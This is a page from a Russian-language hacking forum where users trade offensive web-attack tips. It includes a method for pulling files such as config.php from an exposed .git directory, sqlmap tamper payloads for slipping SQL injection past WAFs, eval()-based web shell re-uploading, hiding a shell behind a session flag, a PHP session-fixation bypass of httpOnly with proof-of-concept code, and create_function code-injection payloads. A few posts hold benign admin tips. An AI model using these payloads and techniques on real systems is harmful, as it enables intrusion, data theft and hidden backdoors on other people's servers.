Старый 13.07.2013, 22:22   #81
romashka_sky
 
Регистрация: 01.10.2011
Сообщений: 33
Репутация: 8
По умолчанию

Если есть доступ из веба к директории репозитория .git (скачивается http://example.com/.git/index). (Редко, но встречается)

Код:
$ git init
скачиваем http://example.com/.git/index и кладём его в директорию .git
пишем
Код:
$ git ls-files > files.txt
в files.txt будет список файлов, контролируемых Git
выбираем понравившийся нам файл, например, config.php, пишем
Код:
$ git checkout config.php
Git выдаст сообщение об ошибке, т.к. запрашиваемый объект отсутствует в локальном репозитории

Код:
error: unable to find 01d355b24a38cd5972d1317b9a2e7f6218e15231
Git хранит объект xxyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy в директории .git/objects/xx/yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy

запрашиваем объект http://example.com/.git/objects/01/d355b24a38cd5972d1317b9a2e7f6218e15231 и кладём его в соответствующий каталог .git/objects/01/d355b24a38cd5972d1317b9a2e7f6218e15231

повторяем

Код:
$ git checkout config.php
теперь в текущей директории появится файл config.php из репозитория
romashka_sky вне форума   Ответить с цитированием
Старый 04.10.2013, 17:58   #82
aeeee
 
Аватар для aeeee
 
Регистрация: 26.11.2011
Сообщений: 16
Репутация: 1
По умолчанию

Полезная информация по tamper скриптам SQLmap для обхода различных фильтраций и WAF, взято отсюда:
  • apostrophemask.py Replaces apostrophe character with its UTF-8 full width counterpart
    Цитата:
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
  • apostrophenullencode.py Replaces apostrophe character with its illegal double unicode counterpart
    Цитата:
    '1 AND %271%27=%271'
  • appendnullbyte.py Appends encoded NULL byte character at the end of payload
    Цитата:
    '1 AND 1=1'
  • base64encode.py Base64 all characters in a given payload
    Цитата:
    'MScgQU5EIFNMRUVQKDUpIw=='
  • between.py Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
    Цитата:
    '1 AND A NOT BETWEEN 0 AND B--'
  • bluecoat.py Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
    Цитата:
    'SELECT%09id FROM users where id LIKE 1'
  • chardoubleencode.py Double url-encodes all characters in a given payload (not processing already encoded)
    Цитата:
    '%2553%2545%254C%2545%2543%2554%2520%2546%2549%254 5%254C%2544%2520%2546%2552%254F%254D%2520%2554%254 1%2542%254C%2545'
  • charencode.py Url-encodes all characters in a given payload (not processing already encoded)
    Цитата:
    '%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F% 4D%20%54%41%42%4C%45'
  • charunicodeencode.py Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
    Цитата:
    '%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046% u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u0 04D%u0020%u0054%u0041%u0042%u004C%u0045'
  • equaltolike.py Replaces all occurances of operator equal ('=') with operator 'LIKE'
    Цитата:
    'SELECT * FROM users WHERE id LIKE 1'
  • greatest.py Replaces greater than operator ('>') with 'GREATEST' counterpart
    Цитата:
    '1 AND GREATEST(A,B+1)=A'
  • halfversionedmorekeywords.py Adds versioned MySQL comment before each keyword
    Цитата:
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
  • ifnull2ifisnull.py Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
    Цитата:
    'IF(ISNULL(1),2,1)'
  • modsecurityversioned.py Embraces complete query with versioned comment
    Цитата:
    '1 /*!30874AND 2>1*/--'
  • modsecurityzeroversioned.py Embraces complete query with zero-versioned comment
    Цитата:
    '1 /*!00000AND 2>1*/--'
  • multiplespaces.py Adds multiple spaces around SQL keywords
    Цитата:
    '1 UNION SELECT foobar'
  • nonrecursivereplacement.py Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
    Цитата:
    '1 UNIOUNIONN SELESELECTCT 2--'
  • percentage.py Adds a percentage sign ('%') infront of each character
    Цитата:
    '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
  • randomcase.py Replaces each keyword character with random case value
    Цитата:
    'INseRt'
  • randomcomments.py Add random comments to SQL keywords
    Цитата:
    'I/**/N/**/SERT'
  • securesphere.py Appends special crafted string
    Цитата:
    "1 AND 1=1 and '0having'='0having'"
  • sp_password.py Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
    Цитата:
    '1 AND 9227=9227-- sp_password'
  • space2comment.py Replaces space character (' ') with comments '/**/'
    Цитата:
    'SELECT/**/id/**/FROM/**/users'
  • space2dash.py Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
    Цитата:
    '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
  • space2hash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
    Цитата:
    '1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
  • space2morehash.py Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
    Цитата:
    '1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9 227=9227'
  • space2mssqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
    Цитата:
    'SELECT%0Eid%0DFROM%07users'
  • space2mssqlhash.py Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
    Цитата:
    '1%23%0AAND%23%0A9227=9227'
  • space2mysqlblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
    Цитата:
    'SELECT%A0id%0BFROM%0Cusers'
  • space2mysqldash.py Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
    Цитата:
    '1--%0AAND--%0A9227=9227'
  • space2plus.py Replaces space character (' ') with plus ('+')
    Цитата:
    'SELECT+id+FROM+users'
  • space2randomblank.py Replaces space character (' ') with a random blank character from a valid set of alternate characters
    Цитата:
    'SELECT%0Did%0DFROM%0Ausers'
  • unionalltounion.py Replaces UNION ALL SELECT with UNION SELECT
    Цитата:
    '-1 UNION SELECT'
  • unmagicquotes.py Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
    Цитата:
    '1%bf%27 AND 1=1-- '
  • versionedkeywords.py Encloses each non-function keyword with versioned MySQL comment
    Цитата:
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURREN T_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#'
  • versionedmorekeywords.py Encloses each keyword with versioned MySQL comment
    Цитата:
    '1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#'
aeeee вне форума   Ответить с цитированием
Старый 13.10.2013, 11:00   #83
Enigma
 
Аватар для Enigma
 
Регистрация: 17.06.2013
Сообщений: 37
Репутация: 12
По умолчанию

В третьем сообщении темы ошибка:
Цитата:
Сообщение от Grey Посмотреть сообщение
Перезаливка шелла через eval()

3. Если же allow_url_include = Off и allow_url_fopen = Off

То делаем как вариант залить шелл со своего компа, для этого делаем следующие куки:

ev=move_uploaded_file($_COOKIE[ev2],$_COOKIE[ev3]);
ev2=$_FILES["upload_file"]["tmp_name"]
ev3=/tmp/phpJ5d4Nb

А теперь делаем html форму:
...
$_COOKIE[ev2] будет просто строкой '$_FILES["upload_file"]["tmp_name"]', плюс если mq==on кавычки будут экранированы...

Думаю надо поправить код, например так:
PHP код:
ev=move_uploaded_file($_FILES[upload_file][tmp_name],$_COOKIE[ev2]);
ev2=/tmp/phpJ5d4Nb 
И конструкции типа $_GET[a] идут в error_log:
Код:
[Sun Oct 13 00:13:37 2013] [error] [client 127.0.0.1] PHP Notice:  Use of undefined constant a - assumed 'a' in /srv/http/test.php on line 2, referer: http://localhost/
Решается это использованием например base64_decode() перед eval(), можно сразу писать код без лишних переменных, а также не возникнет проблем с WAF.

P.S. Я бы написал автору, но он полгода не заходил, а тем временем того кто пытается делать так как там написано ждёт разочарование.
Enigma вне форума   Ответить с цитированием
Старый 11.12.2013, 11:43   #84
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Не часто, но встречаются ситуации с сайтами на PHP, которые подпадают под условия:
* session.cookie_httponly=On
* XSS вектор, который позволяет присвоить значение какой либо переменной
* отсутствие session_regenerate_id(true)
В таком случае, можно замутить фиксацию сессии в обход флажка httpOnly, используя одну особенность PHP. Суть заключается в том, что в PHP нельзя перетиреть значения кук (иначе достаточно было бы добавить куку "PHPSESSID%00=any"), т.е. отправив запрос с печеньками "foo=bar; foo=baz;", в foo будет храниться bar. Если только это не массив, т.е. переданный в куках массив легко перетирает предыдущее скалярное значение (в php_register_variable_ex проверка только для plain_var):
Код:
$ http -v http://php-dharrya.rhcloud.com/echo_cookies.php 'Cookie: foo=bar; foo=baz;'
GET /echo_cookies.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, compress
Cookie:  foo=bar; foo=baz;
Host: php-dharrya.rhcloud.com
User-Agent: HTTPie/0.7.2



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 45
Content-Type: text/html
Date: Wed, 11 Dec 2013 08:26:44 GMT
Server: Apache/2.2.22 (Red Hat Enterprise Web Server)
Vary: Accept-Encoding

Array
(
    [foo] => bar
)



$ http -v http://php-dharrya.rhcloud.com/echo_cookies.php 'Cookie: foo=bar; foo[]=baz; foo=some;'
GET /echo_cookies.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, compress
Cookie:  foo=bar; foo[]=baz; foo=some;
Host: php-dharrya.rhcloud.com
User-Agent: HTTPie/0.7.2



HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 62
Content-Type: text/html
Date: Wed, 11 Dec 2013 08:28:01 GMT
Server: Apache/2.2.22 (Red Hat Enterprise Web Server)
Vary: Accept-Encoding

Array
(
    [foo] => Array
        (
            [0] => baz
        )

)
А если заглянуть в php_session_start то можно увидеть приведение типа к строке:
Код:
lensess = strlen(PS(session_name));

/* Cookies are preferred, because initially
 * cookie and get variables will be available. */

if (!PS(id)) {
   if (PS(use_cookies) && zend_hash_find(&EG(symbol_table), "_COOKIE", sizeof("_COOKIE"), (void **) &data) == SUCCESS &&
         Z_TYPE_PP(data) == IS_ARRAY &&
         zend_hash_find(Z_ARRVAL_PP(data), PS(session_name), lensess + 1, (void **) &ppid) == SUCCESS
   ) {
      PPID2SID;
      PS(apply_trans_sid) = 0;
      PS(send_cookie) = 0;
      PS(define_sid) = 0;
   }
Код:
#define PPID2SID \
      convert_to_string((*ppid)); \
      PS(id) = estrndup(Z_STRVAL_PP(ppid), Z_STRLEN_PP(ppid))
Получается, если передать печеньки "PHPSESSID=_some_hash_; PHPSESSID[]=whatever;", то значение id сессии будет "Array" (по честному сгенерив нотис). А значит мы успешно можем произвести фиксацию сессии имея очень ограниченный XSS вектор, т.к. для браузеров куки с именами PHPSESSID и PHPSESSID[] - две абсолютно разные куки, каждая со своими ограничениями
Небольшой PoC (можно поиграть на http://php-dharrya.rhcloud.com/httponly.php):
PHP код:
<?php
ini_set
('session.cookie_httponly'true);
session_start();
?>
<html>
<body>
        <div>Current session_id: <?=session_id()?></div>
        <div>Try to refresh;-)</div>
        <script>
                function printCookies(cookies, title) {
                        var cookieElem = document.createElement('div');
                        cookieElem.textContent = title + ' cookies: ' + (cookies || 'Empty');
                        document.body.appendChild(cookieElem);        
                }
                printCookies(document.cookie, 'Current');
                document.cookie = '<?=session_name()?>[]=any; path=/; expires=1 Jan 2038 00:00:00 GMT';
                printCookies(document.cookie, 'Modified');
        </script>
</body>
</html>
P.S. Не знаю насколько эта тема известна, ранее не встречал посему решил осветить на всякий случай.
dharrya вне форума   Ответить с цитированием
Старый 13.01.2014, 12:51   #85
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

База exploit-db теперь лежит на гитхабе, удобно для локального поиска:
https://github.com/offensive-security/exploit-database
Также она идет с kali linux, лежит в /usr/share/exploitdb/ или сразу запускать 'searchsploit'

Последний раз редактировалось SynQ; 18.03.2014 в 15:55..
SynQ вне форума   Ответить с цитированием
Старый 19.05.2014, 11:13   #86
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Под Windows существует TortoiseSVN -> замечательный GUI клиент для Subversion.

Фишка в том что это только клиент, хотя в нем уже имеется встроенный Subversion, но по умолчанию к нему можно обращаться через file:// -> Прямой доступ к хранилищу на локальном или сетевом диске.

Иногда нам нужно работать с svn:// на ОС от Мелкомягких(например TrackStudio у меня отказался работать через file://), это может быть нужно как и хекеру так и веб-разработчику.

Запускаем cmd.exe с правами администратора и запустим встроенный Subversion как Windows сервис.

Код:
sc create svn binpath= "\"C:\Program Files\TortoiseSVN\bin\svnserve.exe\" --service -r E:\repo" displayname= "Subversion Server" depend= Tcpip start= auto
net start svn
Ссылки:
http://svnbook.red-bean.com/en/1.8/s....svnserve.html
http://tortoisesvn.net/

Последний раз редактировалось }{оттабыч; 19.05.2014 в 11:32..
}{оттабыч вне форума   Ответить с цитированием
Старый 02.06.2014, 15:53   #87
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Часто бывает - запустишь nmap например, идти спать пора а он на несколько часов еще застрял, беда. Можно просто вырубить и в следующий раз опять запускать с начала, можно использовать screen например. Можно также сразу его фоном запускать через nohup.

А можно еще его и после запуска в фон отправить -
Ctrl + Z - приостанавливает процесс
disown - отрывает процесс от ассоциированной командной оболочки, работает в bash, ksh и мб где еще.
kill -CONT [id процесса] - продолжает выполнение процесса

Последний раз редактировалось tex; 03.06.2014 в 00:26..
tex вне форума   Ответить с цитированием
Старый 09.06.2014, 22:23   #88
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

прячем шелл за сессию
Код:
session_start();
if($_SESSION['yesmylove']) {
// code
}
if($_REQUEST["yesmylove"]){
	ini_set("session.cookie_lifetime",24*60*60);
	ini_set("session.gc_maxlifetime",24*60*60);	
	$_SESSION["yesmylove"]=1;
}
}{оттабыч вне форума   Ответить с цитированием
Старый 28.06.2014, 11:41   #89
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
@_cutz: That PHP-Infoleak is hilarious. php -r '$PHP_SELF=0x400000;phpinfo(32);?>' will happily print the ELF-Header on x86_64.
Аналогично preg_replace модификатор /e имеется у mb_eregi_replace()/mb_ereg_replace(), и у них в отличие от первого, он не deprecated в 5.5.
SynQ вне форума   Ответить с цитированием
Старый 04.08.2014, 20:25   #90
dharrya
 
Аватар для dharrya
 
Регистрация: 13.12.2011
Сообщений: 21
Репутация: 20
По умолчанию

Если есть инъекция во второй аргумент PHP функции create_function, но до вызова созданой лямбды дело так и не доходит - не беда...
Например, какой-то странный код:
PHP код:
$SORT  $_GET["SORT"];
$predefinedFunctions = [
    
"custom" => create_function("\$a, \$b""return strcmp(\$a[$SORT], \$b[$SORT]);"),
    
"default" => create_function("\$a, \$b""return strcmp(\$a[\"SORT\"], \$b[\"SORT\"]);")
];

if (
$SORT === "NAME" || $SORT === "SORT")
    
uasort($list$predefinedFunctions["custom"]);
else
    
uasort($list$predefinedFunctions["default"]); 
Да, пример немного граничит с абсурдом, но чего только не встрешить;-)
Суть заключается в том, что create_function это обычная обертка над eval'ом:
1. Сначала строиться строка с объвлением нашей лямбда функции, причем со статичным временным именем __lambda_func
2. Затем этот код эвалится
3. Функция переименовывается в lambda_%d
И следуя общему характеру PHP - никаких валидаций при построении обявления функции не производится, а значит с помощью символа "}" можно легко выполнить произвольный код еще не этапе создания лямбды:
PHP код:
// вызовем нашу вновь созданную функцию сразу при её создании
$SORT '1], var_dump("called!"));} __lambda_func();//';
create_function("\$a, \$b""return strcmp(\$a[$SORT], \$b[$SORT]);");
/* Вывод:
PHP Warning:  Missing argument 1 for __lambda_func(), called in php shell code(1) : runtime-created function on line 1 and defined in php shell code(1) : runtime-created function on line 1
PHP Warning:  Missing argument 2 for __lambda_func(), called in php shell code(1) : runtime-created function on line 1 and defined in php shell code(1) : runtime-created function on line 1
PHP Notice:  Undefined variable: a in php shell code(1) : runtime-created function on line 1
string(7) "called!"
*/

// просто выполним произвольный код
$SORT '1], 1);} var_dump("called!");//';
create_function("\$a, \$b""return strcmp(\$a[$SORT], \$b[$SORT]);");
/* Вывод:
string(7) "called!"
*/ 
Может кому пригодится, редкость конечно жуткая, но малоли...

P.S. С приятным удивлением узнал, что начиная с PHP 5.5 в curly синтаксисе строк можно использовать не только backticks, но и вызов обычных функций:
PHP код:
echo "${phpinfo()}";
echo 
"${`echo 1 > /tmp/lala`}"
dharrya вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot